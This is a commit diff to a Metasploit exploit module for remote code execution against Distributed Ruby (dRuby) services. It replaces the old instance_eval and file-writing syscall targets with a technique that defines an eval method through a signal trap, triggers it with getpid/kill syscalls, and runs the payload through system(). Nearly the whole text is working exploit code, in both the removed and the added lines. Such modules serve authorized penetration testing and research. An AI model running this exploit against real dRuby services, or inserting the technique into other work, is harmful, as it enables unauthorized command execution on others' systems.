Land rapid7#7749, make drb_remote_codeexec great again

Author: wvu

modules/exploits/linux/misc/drb_remote_codeexec.rb

@@ -10,23 +10,19 @@ class MetasploitModule < Msf::Exploit::Remote
 
   Rank = ExcellentRanking
 
-  include Msf::Exploit::FileDropper
-
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Distributed Ruby Send instance_eval/syscall Code Execution',
+      'Name'           => 'Distributed Ruby Remote Code Execution',
       'Description'    => %q{
         This module exploits remote code execution vulnerabilities in dRuby.
-
-        If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
-        In this event, the syscall target is preferred. This can be set with target 1.
       },
       'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
       'License'        => MSF_LICENSE,
       'References'     =>
         [
           [ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
-          [ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
+          [ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ],
+          [ 'URL', 'http://bugkraut.de/posts/tainting' ]
         ],
       'Privileged'     => false,
       'Payload'        =>
@@ -37,8 +33,7 @@ def initialize(info = {})
       'Platform'       => 'unix',
       'Arch'           => ARCH_CMD,
       'Targets'        => [
-        ['instance_eval', {}],
-        ['syscall', {}]
+        ['Automatic', {}],
       ],
       'DisclosureDate' => 'Mar 23 2011',
       'DefaultTarget' => 0))
@@ -58,72 +53,19 @@ class << p
       undef :send
     end
 
-    case target.name
-    when 'instance_eval'
-      print_status('Trying to exploit instance_eval')
-      exploit_instance_eval(p)
-    when 'syscall'
-      print_status('Trying to exploit syscall')
-      exploit_syscall(p)
-    end
-  end
-
-  def exploit_instance_eval(p)
+    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
+    # syscall to decide whether it's 64 or 32 bit:
+    # it's getpid on 32bit which will succeed, and writev on 64bit
+    # which will fail due to missing args
     begin
-      p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
-    rescue SecurityError
-      print_error('instance_eval failed due to security error')
-    rescue DRb::DRbConnError
-      print_error('instance_eval failed due to connection error')
+      pid = p.send(:syscall, 20)
+      p.send(:syscall, 37, pid, 23)
+    rescue Errno::EBADF
+      # 64 bit system
+      pid = p.send(:syscall, 39)
+      p.send(:syscall, 62, pid, 23)
     end
-  end
-
-  def exploit_syscall(p)
-    filename = "." + Rex::Text.rand_text_alphanumeric(16)
-
-    begin
-      begin
-        print_status('Attempting 32-bit exploitation')
-        # syscall to decide wether it's 64 or 32 bit:
-        # it's getpid on 32bit which will succeed, and writev on 64bit
-        # which will fail due to missing args
-        p.send(:syscall,20)
-        # syscall open
-        i =  p.send(:syscall,8,filename,0700)
-        # syscall write
-        p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
-        # syscall close
-        p.send(:syscall,6,i)
-        # syscall fork
-        p.send(:syscall,2)
-        # syscall execve
-        p.send(:syscall,11,filename,0,0)
-
-      # likely 64bit system
-      rescue Errno::EBADF
-        print_status('Target is a 64-bit system')
-        # syscall creat
-        i = p.send(:syscall,85,filename,0700)
-        # syscall write
-        p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
-        # syscall close
-        p.send(:syscall,3,i)
-        # syscall fork
-        p.send(:syscall,57)
-        # syscall execve
-        p.send(:syscall,59,filename,0,0)
-      end
-
-    # not vulnerable
-    rescue SecurityError
-      print_error('syscall failed due to security error')
-      return
-    rescue DRb::DRbConnError
-      print_error('syscall failed due to connection error')
-      return
-    end
-
-    register_files_for_cleanup(filename)
+    p.send(:my_eval, payload.encoded)
   end
 
 end